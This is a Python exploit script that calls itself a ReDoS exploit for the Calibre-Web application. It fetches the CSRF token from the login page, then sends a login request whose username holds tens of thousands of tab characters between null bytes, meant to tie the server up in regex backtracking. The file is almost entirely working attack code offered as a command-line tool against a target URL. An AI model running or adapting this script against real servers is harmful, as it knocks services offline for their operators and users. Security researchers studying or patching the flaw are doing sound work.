#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import logging import signal import sys import requests import re from urllib.parse import urlparse, ParseResult __version__ = "1.0.0" __author__ = "mind2hex" class Config: """ Class to store parsed arguments """ def __init__(self): parser = argparse.ArgumentParser( prog="./exploit.py", usage="./exploit.py [options]", description="ReDoS exploit for calibre web application.", epilog="https://github.com/mind2hex", formatter_class=argparse.RawTextHelpFormatter, ) # general arguments here parser.add_argument( "-u", "--url", metavar="", type=self.url_type, required=True, help="Target url. REQUIRED", ) parser.add_argument( "-p", "--proxy", metavar="", type=self.url_type, help="Proxy URL (e.g., http://127.0.0.1:8080)", ) parser.add_argument( "-s", "--size", metavar="", type=int, help="Size of the payload (the bigger, the better) [default to 60000]", default=60000 ) # parsing arguments args = parser.parse_args() # storing arguments self.url = args.url if args.proxy: self.proxy = {"https":args.proxy, "http":args.proxy} else: self.proxy = None self.size = args.size def url_type(self, url: str) -> ParseResult: """ Validates and parses a URL string. Args: url (str): The URL string to be validated and parsed. Returns: ParseResult: The parsed URL object. Raises: argparse.ArgumentTypeError: If the URL is not valid. """ parsed_url = urlparse(url) if not all([parsed_url.scheme, parsed_url.netloc]): raise argparse.ArgumentTypeError(f"'{url}' is not a valid url.") return parsed_url def show_config(self) -> None: """ Displays the current configuration settings. Prints all non-private and relevant attributes of the Config instance, excluding attributes listed in the `exclude` list. Returns: None """ print("=" * 100) for attr, value in self.__dict__.items(): if not attr.startswith("_"): print(f"[!] {attr:>13s}: {value}") print("=" * 100) def signal_handler(sig, frame) -> None: """ Handles termination signals to allow the program to exit gracefully. Args: sig (int): Signal number that was received. frame (FrameType): The current stack frame. Returns: None """ logger.warning(f"Signal {sig} received from {frame}, exiting gracefully...") sys.exit(0) def setup_logger() -> logging.Logger: """ Configures and returns a logger instance for the script. The logger is set to the DEBUG level and outputs messages to the console. Returns: logging.Logger: A configured logger instance. """ logger = logging.getLogger("tool_logger") logger.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) formatter = logging.Formatter( "%(asctime)s - %(name)s - %(levelname)s - %(message)s" ) ch.setFormatter(formatter) logger.addHandler(ch) return logger def main(): """ Main function to execute the script's core logic. This function acts as the entry point for the script, managing the overall flow and calling other functions as needed. Returns: None """ session = requests.Session() try: response = session.get(config.url.geturl(), proxies=config.proxy) csrf_token = re.search(r'name="csrf_token" value="([^"]+)"', response.text).group(1) logger.info(f"csrf_token obtained: {csrf_token[:40]}") payload = '\x00' + ('\t' * config.size) + '\t\x00' body = { "csrf_token": csrf_token, "username": payload, "password": "EAT THIS" } logger.info("Sending payload") session.post(config.url.geturl() + "/login", data=body, proxies=config.proxy) logger.info("Request sent and response received") except AttributeError: logger.error(f"No csrf_token was found") exit(1) except Exception as e: logger.error(f"An unexpected error ocurred: {e}") exit(1) # logger to show events in different levels logger = setup_logger() # signal for program termination and progran interruptions. signal.signal(signal.SIGTERM, signal_handler) signal.signal(signal.SIGINT, signal_handler) # initializating config here to be accessible globally config = Config() config.show_config() if __name__ == "__main__": main()